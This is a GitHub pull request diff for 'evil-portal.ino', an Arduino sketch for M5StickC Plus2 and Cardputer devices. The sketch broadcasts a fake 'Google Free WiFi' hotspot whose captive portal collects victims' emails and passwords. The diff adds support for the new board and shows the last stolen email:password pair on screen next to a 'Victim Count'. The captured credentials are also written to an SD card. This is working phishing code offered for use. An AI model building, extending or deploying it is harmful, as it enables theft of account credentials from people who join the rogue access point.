Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

BugFix when used at M5Stickc Plus2 #5

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 41 additions & 17 deletions evil-portal/evil-portal.ino
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,20 @@
#include <DNSServer.h>
#include <WebServer.h>

// #define M5STICKCPLUS
#define M5CARDPUTER
//#define M5STICKCPLUS
#define M5STICKCPLUS2
//#define M5CARDPUTER

#if defined(M5STICKCPLUS) && defined(M5CARDPUTER)
#error "Please define only one platform: M5STICKCPLUS or M5CARDPUTER"
#if defined(M5STICKCPLUS) && defined(M5STICKCPLUS2) && defined(M5CARDPUTER)
#error "Please define only one platform: M5STICKCPLUS, M5STICKCPLUS2 or M5CARDPUTER"
#endif

#if defined(M5STICKCPLUS)
#include <M5StickCPlus.h>
#elif defined(M5STICKCPLUS2)
#include <M5StickCPlus2.h>
#elif defined(M5CARDPUTER)
#include <M5Cardputer.h>
#endif

#if defined(M5STICKCPLUS)
Expand All @@ -23,6 +32,18 @@
// #define SD_CS_PIN
#endif

#if defined(M5STICKCPLUS2)
#define DISPLAY M5.Lcd
#define SPEAKER M5.Speaker
#define HAS_LED 19 // Number is equivalent to GPIO
#define GPIO_LED 19
// #define HAS_SDCARD
#define SD_CLK_PIN 0
#define SD_MISO_PIN 36 //25
#define SD_MOSI_PIN 26
// #define SD_CS_PIN
#endif

#if defined(M5CARDPUTER)
#define DISPLAY M5Cardputer.Display
#define SPEAKER M5Cardputer.Speaker
Expand All @@ -40,13 +61,7 @@
#include <SPI.h>
#endif

#if defined(M5STICKCPLUS)
#include <M5StickCPlus.h>
#elif defined(M5CARDPUTER)
#include <M5Cardputer.h>
#endif

#define DEFAULT_AP_SSID_NAME "Google WiFi"
#define DEFAULT_AP_SSID_NAME "Google Free WiFi"
#define SD_CREDS_PATH "/evil-portal-creds.txt"
// #define LANGUAGE_EN_US
#define LANGUAGE_PT_BR
Expand Down Expand Up @@ -76,6 +91,7 @@
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
String capturedCredentialsHtml = "";
String lastLogin = "";
bool sdcardMounted = false;
String apSsidName = String(DEFAULT_AP_SSID_NAME);

Expand Down Expand Up @@ -107,7 +123,7 @@ void setupDeviceSettings() {
while (!Serial && millis() < 1000)
;

#if defined(M5STICKCPLUS)
#if defined(M5STICKCPLUS) || defined(M5STICKCPLUS2)
M5.begin();
DISPLAY.setRotation(3);
#elif defined(M5CARDPUTER)
Expand Down Expand Up @@ -141,6 +157,8 @@ bool setupSdCard() {
sdcardMounted = true;
return true;
}
#else
return true;
#endif
}

Expand All @@ -160,20 +178,20 @@ void setupWebServer() {

#if defined(M5STICKCPLUS)
SPEAKER.tone(4000);
#elif defined(M5CARDPUTER)
#elif defined(M5CARDPUTER) || defined(M5STICKCPLUS2)
SPEAKER.tone(4000, 50);
#endif

DISPLAY.print("Victim Login");

delay(50);

printHomeToScreen();

#if defined(M5STICKCPLUS)
SPEAKER.mute();
#endif

DISPLAY.fillScreen(BLACK);

#if defined(HAS_LED)
blinkLed();
#endif
Expand All @@ -199,7 +217,6 @@ void loop() {
if ((millis() - lastTick) > TICK_TIMER) {

lastTick = millis();

if (totalCapturedCredentials != previousTotalCapturedCredentials) {
previousTotalCapturedCredentials = totalCapturedCredentials;

Expand All @@ -226,6 +243,12 @@ void printHomeToScreen() {
DISPLAY.print(apSsidName);
DISPLAY.println("");
DISPLAY.printf("Victim Count: %d\n", totalCapturedCredentials);
if (lastLogin != ""){
DISPLAY.printf("Last login: ");
DISPLAY.print(lastLogin);
DISPLAY.println("");
}

}

String getInputValue(String argName) {
Expand Down Expand Up @@ -285,6 +308,7 @@ String index_POST() {
String email = getInputValue("email");
String password = getInputValue("password");
capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
lastLogin = String(email + ":" + password).c_str();

#if defined(HAS_SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(email + " = " + password).c_str());
Expand Down